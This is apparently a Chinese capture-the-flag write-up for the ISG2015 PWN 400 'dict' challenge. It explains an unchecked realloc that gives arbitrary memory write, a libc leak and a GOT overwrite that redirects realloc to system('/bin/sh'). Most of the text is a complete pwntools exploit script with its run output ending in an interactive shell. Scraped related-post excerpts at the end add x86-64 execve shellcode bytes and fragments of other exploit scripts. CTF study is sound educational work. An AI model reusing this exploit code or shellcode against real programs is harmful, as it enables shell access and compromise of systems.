【PWN】ISG2015 PWN 400 DICT WRITEUP

本题的利用思路是,因为REALLOC之后没有做检查,可以使ptr的值置为0,因此可以控制ptr之前的值,从而造成内存任意写的漏洞。利用是通过覆写got表,使用/bin/sh字符串作为realloc(system)的参数,从而拿到shell。

  1. 漏洞位置
  2. 任意写
  3. 利用

首先来看漏洞位置

,因为ptr置0之后,可控参数有:

v1 = (int)((char *)*(&ptr + 2 * v4) + 32 * (v5 + v2));

ptr是0,v5是wordcount,v2是从0开始遍历到新加的词数,v4是dict的号。根据前面的分析,我们可以在一个dict0中创建0x8000xxxx个单词,然后wordcount就会变大,之后如果我们使用一个无效值使ptr变为0,然后就可以完成内存任意写的功能。

接下来是任意写的实现

使用addword选择dict0,然后添加0xffffffff个字词,ptr就会变成0,然后再一次addword,选择1个word,然后就可以任意写了。

要怎么利用呢

我这里直接给出利用思路,但是探索这个确实是一个很难的过程,在此感谢pwn神学长的指点Orz

  1. leak出libc的加载基址 
    因为自带viewword函数,我们可以把realloc(其他也行)的基址放在某一个字典的ptr上,这样就可以通过printf直接看到。这里是第一个任意内存写。
  2. 将binsh写入另一个字典 
    因为realloc的参数就是字符串指针,我们可以通过在某个字典的ptr上放binsh的地址,然后重写realloc的got表而实现。因为realloc后面还要用到,所以要先写另一个字典。获得offset + baseaddr之后,通过第二个任意内存写写入另一个字典的ptr。
  3. 覆盖realloc的got表 
    上面已经提到,这里用第三个任意内存写将got表覆盖为system即可。

内存

gdb-peda$ x /32xw 0x804a0c0
0x804a0c0:  0x00402508  0x00000000  0x00000001  0x09509008
0x804a0d0:  0x00000001  0x09509030  0x00000001  0x09509058
0x804a0e0:  0x00000004  0x0804a018  0x00402509  0x00000000
0x804a0f0:  0x00000001  0xef400468  0x00000001  0xef400490
0x804a100:  0x00000004  0xf7748a24  0x00402502  0x00000000
0x804a110:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a120:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a130:  0x00000000  0x00000000  0x00000000  0x00000000

这个是全部布置完之后的内存。

脚本

No code no bibi

#Exploit for [email protected]
#@Windcarp 2015.10.18
from pwn import *

#init
context(arch = ‘i386‘, os = ‘linux‘)
local = True
if local:
    p = process("./dict")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
    p = remote("202.120.7.146", 9992)
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
binary = ELF("dict")
#address
realloc_got = 0x0804A018
five_ptr = 0x0804a0e0
ptr_write_cnt = five_ptr / 32
print_word_cnt = 4
#payload
#pause for gdb to attach
raw_input()
#first dict
p.send(‘1‘ + ‘\n‘)
p.send(str(ptr_write_cnt) + ‘\n‘)
for i in range(256):
    p.send("1\n" * (ptr_write_cnt / 256))
    p.recvrepeat(0.02)
    print ‘.‘,
p.send("1\n" * (ptr_write_cnt % 256))
p.recvrepeat(0.02)
print "\n[*] Over."
#second 7 dict
for i in range(4):
    p.send(‘1‘ + ‘\n‘)
    p.recvuntil("dict: ")
    p.send(‘1‘ + ‘\n‘)
    p.recvuntil(": ")
    p.send(‘1‘ + ‘\n‘)
    p.recvuntil("$ ")
    #ptr set to 0 &wordcount set to 0xptr
    p.send(‘2‘ + ‘\n‘)
    p.recvuntil("dict: ")
    p.send(‘0‘ + ‘\n‘)
    p.recvuntil("add? ")
    p.send(str(0x7fff0000/32) + ‘\n‘)
    print "[*] Press enter:"
    raw_input()
    p.recvuntil(": ")
    payload1 = p32(print_word_cnt) + p32(realloc_got)
    p.send(payload1 + ‘\n‘)
    p.recvuntil(": ")
    p.send(‘\n‘)
    p.recvuntil("$ ")
#view libc
p.send(‘3‘ + ‘\n‘)
p.recvuntil(": ")
p.send(‘4‘ + ‘\n‘)
p.recvuntil(": ")
data = p.recvuntil("$ ")
    leak = data[0:4]
    print "[*] Leak Data :" + hex(u32(leak))
    offset_system = 0x00040190
    offset_str_bin_sh = 0x160a24
    realloc_libc = libc.symbols["realloc"]
    offset_read = 0x000dabd0
    stackchk_libc = libc.symbols["__stack_chk_fail"]
    printf_libc = libc.symbols["printf"]
    base_addr = u32(leak) - realloc_libc
    system_addr = base_addr + offset_system
    binsh_addr = base_addr + offset_str_bin_sh
    read_addr = base_addr + offset_read
    printf_addr = base_addr + printf_libc
    stackchk_addr = stackchk_libc + base_addr
    puts_addr = libc.symbols["puts"] + base_addr
    print "[*] System_addr :" + hex(system_addr)
    nine_ptr = 0x0804a100
    ptr2_write_cnt = nine_ptr / 32
    p.send(‘1‘ + ‘\n‘)
    p.send(str(ptr2_write_cnt) + ‘\n‘)
    for i in range(256):
    	p.send("1\n" * (ptr2_write_cnt / 256))
    	p.recvrepeat(0.02)
    	print ‘.‘,
    p.send("1\n" * (ptr2_write_cnt % 256))
    p.recvrepeat(0.02)
    print "\n[*] Over2." #nine wordcount done
    for i in range(3):
    	p.send(‘1‘ + ‘\n‘)
    	p.recvuntil("dict: ")
    	p.send(‘1‘ + ‘\n‘)
    	p.recvuntil(": ")
    	p.send(‘1‘ + ‘\n‘)
    	p.recvuntil("$ ")
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘5‘ + ‘\n‘)
p.recvuntil("add? ")
p.send(str(0x7fff0000/32) + ‘\n‘)
print "[*] Press enter:"
raw_input()
p.recvuntil(": ")
payload2 = p32(print_word_cnt) + p32(binsh_addr)
p.send(payload2 + ‘\n‘)
p.recvuntil(": ")
p.send(‘\n‘)
p.recvuntil("$ ")#nine ptr done
ten_ptr = realloc_got
ptr3_write_cnt = ten_ptr / 32
pad_cnt = ten_ptr % 32

p.send(‘1‘ + ‘\n‘)
p.send(str(ptr3_write_cnt) + ‘\n‘)
for i in range(256):
    p.send("1\n" * (ptr3_write_cnt / 256))
    p.recvrepeat(0.02)
    print ‘.‘,
p.send("1\n" * (ptr3_write_cnt % 256))
p.recvrepeat(0.02)
print "\n[*] Over3." #ten wordcount done
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘9‘ + ‘\n‘)
p.recvuntil("add? ")
p.send(str(0x70000000/32) + ‘\n‘)
print "[*] Press enter:"
raw_input()
p.recvuntil(": ")
payload3 = ‘a‘ * 12 + p32(read_addr) + p32(printf_addr) + p32(stackchk_addr) + p32(system_addr)
p.send(payload3 + ‘\n‘)
p.recvuntil(": ")
payload4 = p32(puts_addr)
p.send(payload4 + ‘\n‘)
p.recvuntil(": ")
p.send(‘\n‘)
p.recvuntil("$ ")#nine ptr done
p.send(‘2‘ + ‘\n‘)
p.recvuntil("dict: ")
p.send(‘8‘ + ‘\n‘)
p.recvuntil("add? ")
print "[*] Press enter:"
raw_input()
p.send(‘1‘ + ‘\n‘)
p.interactive()

脚本水平非常之烂= =写的急不过还是没有赶上最后拿flag,比赛结束一小时才调通。。。%>_<%

$ python testexp.py
[+] Starting program ‘./dict‘: Done
[*] ‘/lib/i386-linux-gnu/libc.so.6‘
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] ‘/home/windcarp/\xe6\xa1\x8c\xe9\x9d\xa2/dict‘
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[*] Over.
[*] Press enter:

[*] Leak Data :0xf7651d10
[*] System_addr :0xf761b190
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[*] Over2.
[*] Press enter:

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[*] Over3.
[*] Press enter:

[*] Press enter:

[*] Switching to interactive mode
$ ls
1-79fb52a85e9475285b89516852a056fa6280672f.pdf

写在最后

先说说这个题目吧,这已经是我现在撑死解答的水平了Orz,Oops的题目良心,确实学到了很多。 
从思路上看,一开始以为是堆溢出的漏洞,走了一些弯路。 
从漏洞上看,这个pwn题就是围绕REALLOC函数做了很多,而且漏洞的利用有很多限制条件:它的内存任意写是必须32个内存一起写,而且只有到无效内存是才能停;而且需要输入很多字符,这一点在一开始很困扰,因为每调试一次都要10分钟之久,导致整个一天调还是进展缓慢,后来请教别人才提高了效率。 
最后,晚上去看校庆演出没认真调代码真是我不对Orz。两天的比赛下来感觉到自己提升还有很多地方。技术水平还是太烂。Bless。

时间: 2024-10-29 13:23:27

【PWN】ISG2015 PWN 400 DICT WRITEUP的相关文章

【二进制】CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)

sniperoj-pwn100-shellcode-x86-64 23 字节 shellcode "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" 首先根据 gdb 确定偏移,然后把因为有个 leave 指令会破坏前面的,所以前面的填充为脏数据,然后加上返回地址占据的 8 位空间,确定在 buf_addr 后面 24+8 填充 shellcode

【PWN】pwnable.kr echo1 writeup

#Exploit for [email protected] #@Windcarp 2015.07.23 from pwn import * #init context(arch = 'amd64', os = 'linux') local=False if local: p = process("./echo1") libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so") else: p = remote("pwn

【PWN】Pwnable.kr echo2 writeup

依旧是基本技巧的考察,shellcode的寻找着实费了一番周折,然后就是FSB和UAF漏洞的利用,很好的一题! #Exploit for [email protected] #@Windcarp 2015.07.23 from pwn import * #init context(arch = 'amd64', os = 'linux') local=False if local: p = process("./echo2") libc = ELF("/lib/x86_64-

【Python】 条件判断 与 循环 与dict和set

# 条件判断 elif:  else if 的作用 注意: : [冒号]BMI =w/(h*h) if BMI<15:    print('较轻')elif BMI<25:    print('正常')else BIM:    print('肥胖') # 循环 for x in xs  有点类似 C#的foreachrange()  生成整数序列,range(101) 生成0~100的整数序列 while 循环 找不同一. n = 11 while n>10: n-1 print(n)

【Python】初学编程适合学Python?其有何用?

初学编程适合学Python?其有何用? 作者:白宁超 2016年10月4日19:59:39 摘要:python语言俨然不算新技术,七八年前甚至更早已有很多人研习,只是没有现在流行罢了.之所以当下如此盛行,我想肯定是多因素造成了,当然市场需求的重要因素.吴军博士对大数据流行的解释与python流行或许有些默契.数据一直以来都存在,只是在历史条件下,由于计算性能和技术发展的原因,与之匹配的数据处理技术还不是很先进,以至于很多数据被我们舍弃了.同样,python语言简洁流畅等多种优点,也会让第一次接触

【Oracle】常用语句集合

1 oracle常用经典SQL查询 2 常用SQL查询: 3 4 1.查看表空间的名称及大小 5 6 select t.tablespace_name, round(sum(bytes/(1024*1024)),0) ts_size 7 from dba_tablespaces t, dba_data_files d 8 where t.tablespace_name = d.tablespace_name 9 group by t.tablespace_name; 10 11 2.查看表空间物

【iOS】MD5加密与网络数据安全

在做网络应用程序的时候, 时时刻刻要保证用户数据的安全, 因此要加密. MD5算法在国内用的很多. MD5算法的特点: *同样的数据加密结果是一样的.(32个字符) *不可逆的.(不能逆向解密) *可用于文件校验/指纹识别. MD5算法是公开的,iOS中已经包装好了MD5算法. 可以将其写成字符串的分类: - (NSString *)md5String { const char *string = self.UTF8String; int length = (int)strlen(string)

【报文】理解HTTP协议的Request/Response(请求响应)模型

[报文]理解HTTP协议的Request/Response(请求响应)模型 系列目录 [简介]"请求/响应"模型 http://www.cnblogs.com/engraver-lxw/p/7550514.html [原理]理解HTTP协议的Request/Response(请求响应)模型 http://www.cnblogs.com/engraver-lxw/p/7550691.html [报文]理解HTTP协议的Request/Response(请求响应)模型--当前 http:/

【体系结构】Oracle参数介绍

[体系结构]Oracle参数介绍 1  BLOG文档结构图     2  前言部分 2.1  导读和注意事项 各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学到一些其它你所不知道的知识,~O(∩_∩)O~: ① Oracle中的各种参数介绍及其查询方法 ② Oracle中V$PARAMETER及V$PARAMETER2的区别 ③ 隐含参数的查询.重置.清除 ④ 会话参数和实例参数的查询 ⑤ 静态参数和动态参数.延迟参数 ⑥ V$PARAMETER视图的每列含义(重点) Tips: ①